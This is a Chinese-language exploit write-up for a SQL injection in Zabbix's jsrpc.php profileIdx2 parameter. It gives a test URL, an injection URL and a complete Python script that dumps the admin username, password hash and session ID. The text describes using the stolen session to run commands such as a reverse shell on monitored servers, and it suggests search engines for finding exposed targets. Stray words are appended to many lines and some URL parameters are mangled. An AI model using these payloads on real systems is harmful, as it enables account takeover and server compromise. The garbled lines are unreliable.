漏洞概述:php
zabbix是一個開源的企業級性能監控解決方案。近日,zabbix的jsrpc的profileIdx2參數存在insert方式的SQL注入漏洞,攻擊者無需受權登錄便可登錄zabbix管理系統,也可經過script等功能輕易直接獲取zabbix服務器的操做系統權限。 可是無需登陸注入這裏有個前提,就是zabbix開啓了guest權限。而在zabbix中,guest的默認密碼爲空。須要有這個條件的支持才能夠進行無權限注入。python
影響程度:web
攻擊成本:低算法
危害程度:高sql
是否登錄:不須要shell
影響範圍:2.2.x, 3.0.0-3.0.3。(其餘版本未經測試)服務器
漏洞測試:cookie
在您的zabbix的地址後面加上以下url:session
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
輸出結果,以下表示漏洞存在:工具
版本:2.4.6也存在漏洞
漏洞利用:
攻擊者能夠經過進一步構造語句進行錯誤型sql注射,無需獲取和破解加密的管理員密碼。
有經驗的攻擊者能夠直接經過獲取admin的sessionid來根據結構算法構造sid,替換cookie直接以管理員身份登錄。
利用代碼:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(updatexml(0x5e,(md5(0×313233)),0x5e))&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
獲取管理員cookie和密碼,能夠以管理員身份登陸zabbix監控系統,利用管理員script功能,使zabbix監控的服務器執行惡意命令(例如:反彈shell等)
漏洞利用工具:
#!/usr/bin/env python # -*- coding: gbk -*- # Date: 2016/8/18 import urllib2 import sys, os import re def deteck_Sql(): u'檢查是否存在SQL注入' payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(url + payload, timeout=10).read() except Exception, msg: print msg else: key_reg = re.compile(r"INSERT\s*INTO\s*profiles") if key_reg.findall(response): return True def sql_Inject(sql): u'獲取特定sql語句內容' payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(payload, timeout=10).read() except Exception, msg: print msg else: result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") results = result_reg.findall(response) if results: return results[0] if __name__ == '__main__': # os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 60 + '+' print '\t Python Zabbix<3.0.4 SQL注入 Exploit' print '\t\t Time:2016-08-18' print '+' + '-' * 60 + '+' if len(sys.argv) != 2: print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 網站地址' print '實例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' sys.exit() url = sys.argv[1] if url[-1] != '/': url += '/' passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" if deteck_Sql(): print u'Zabbix 存在SQL注入漏洞!\n' print u'管理員 用戶名密碼:%s' % sql_Inject(passwd_sql) print u'管理員 Session_id:%s' % sql_Inject(session_sql) else: print u'Zabbix 不存在SQL注入漏洞!\n'
漏洞挖掘:
google hacking
zoom eye
搜索放在外網的監控系統界面